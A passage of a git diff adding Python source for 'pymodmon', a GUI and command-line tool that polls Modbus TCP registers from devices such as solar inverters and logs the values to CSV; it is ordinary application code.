int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to 